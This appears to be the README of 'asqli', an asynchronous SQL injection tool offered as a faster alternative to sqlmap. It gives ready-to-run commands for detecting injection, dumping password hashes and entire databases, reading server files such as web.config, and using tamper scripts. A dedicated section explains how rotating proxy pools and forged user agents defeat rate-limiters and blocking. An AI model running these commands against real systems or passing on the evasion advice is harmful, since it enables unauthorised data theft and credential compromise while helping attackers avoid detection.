asqli

Async, parallel SQL injection scanner. Built on asyncio + aiohttp, designed to extract data orders of magnitude faster than serial scanners by running blind-inference probes concurrently across cells, retries, and proxies.

pip install asqli
asqli -u 'http://target/vuln.php?id=1' --batch --dump

Why not just use sqlmap?

sqlmap is the canonical SQL-injection tool and a brilliant piece of engineering — but it's a 19-year-old synchronous codebase. asqli is a ground-up rewrite focused on three things sqlmap can't easily do:

Use asqli when: speed matters (large dumps, CI scanners, recon piping), you're running at scale through proxy pools, or you want a small, auditable codebase you can read in an afternoon.

Stick with sqlmap when: you need OS-shell pivoting, deep takeover features (registry edits, Metasploit handoff), or DBMSes outside MySQL/PostgreSQL/MSSQL/Oracle/SQLite.

Install

pip install asqli

That's it. aiohttp, aiohttp-socks, and uaforger come along automatically — no extra steps for SOCKS proxies or realistic UAs.

Usage

Detect

asqli -u 'http://target/list?id=1'                         # GET, all techniques
asqli -u 'http://target/login' --data 'u=admin&p=x'        # POST
asqli -r request.txt                                       # raw Burp/ZAP export

Enumerate

asqli -u '...' --banner --current-user --current-db --hostname --privileges
asqli -u '...' --dbs
asqli -u '...' --tables -D security
asqli -u '...' --columns -T users -D security
asqli -u '...' --passwords                  # mysql.user / pg_shadow / sys.sql_logins

Dump

asqli -u '...' --dump -D security -T users      # boxed table + CSV
asqli -u '...' --dump-all                       # every table in every db
asqli -u '...' --file-read 'C:\inetpub\wwwroot\web.config' --file-read-out web.config

Tuning

asqli -u '...' --level 3 --risk 3 --technique=BEUSTQ
asqli -u '...' -c 0 --max 200 --per-host 64    # unlimited workers, 200 probes per query
asqli -u '...' --tamper space2comment,between --no-random-agent

Flags

Rotating proxies for high-volume scans

A blind SQLi --dump against a 13-row × 3-column table runs ~270 inference probes per cell × 39 cells ≈ 10 500 requests. From one IP, most production targets will rate-limit, IP-block, or trip a WAF long before asqli's binary search completes.

The fix is request distribution. --proxies FILE takes a newline-separated list of proxy URLs (HTTP, HTTPS, SOCKS4, SOCKS5 are all native — no extra install) and dispatches every request through a uniformly-random pick:

proxies.txt:
  http://proxy1.example.com:3128
  http://user:pass@proxy2.example.com:3128
  socks5://10.0.0.1:1080
  socks5h://user:pass@10.0.0.2:1080

$ asqli -u 'http://target?id=1' --dump --proxies proxies.txt -c 64

Internally asqli opens one pooled aiohttp session per proxy URL, preserving the per-host connection cap on each. A 200-proxy pool can parallelise an entire dump to the point where the bottleneck is the target's DBMS round-trip, not the network or rate-limit.

If you also pass --random-agent (default on), the combination of fresh UAForge identity + rotating egress IP per request makes most naive rate-limiters useless against you. Source-side fingerprinting (TLS JA3, request-cadence behaviour) is a separate problem — see ROADMAP.

Architecture

asqli.py                          → CLI bootstrap → asqli_engine.run.detect()
asqli_engine/scan.py              → Scan, Target, Parameter, InjectionPoint
asqli_engine/http/client.py       → aiohttp + aiohttp-socks pooled sessions
asqli_engine/http/useragents.py   → UAForge wrapper
asqli_engine/detect/              → boolean / error / time / stacked / union
asqli_engine/extract/             → DBMS-aware blind inference + streaming dump
asqli_engine/extract/dbms_queries → MySQL / PostgreSQL / MSSQL / Oracle / SQLite
asqli_engine/upload/file_ops.py   → --file-read
asqli_engine/upload/mssql.py      → --file-write planner (MSSQL/Windows)
asqli_engine/scheduler.py         → bounded-concurrency runner

Parallelism map for extraction:

• Databases: sequential count, parallel name fetch
• Tables / columns: sequential count, parallel name fetch
• Cells: every (row, col) fires concurrently; rows stream out as each one's character bisection completes via asyncio.as_completed
• Bisection within one char: sequential (~7 requests/char printable ASCII)

DBMS-specific catalogs cover MySQL, PostgreSQL, MSSQL, Oracle, SQLite. Byte-value comparison (ASCII / ORD / UNICODE) is used instead of collation-sensitive >=, which on MySQL's default collation case-folds and yields garbage at the byte level.

Legal

For authorised security testing only.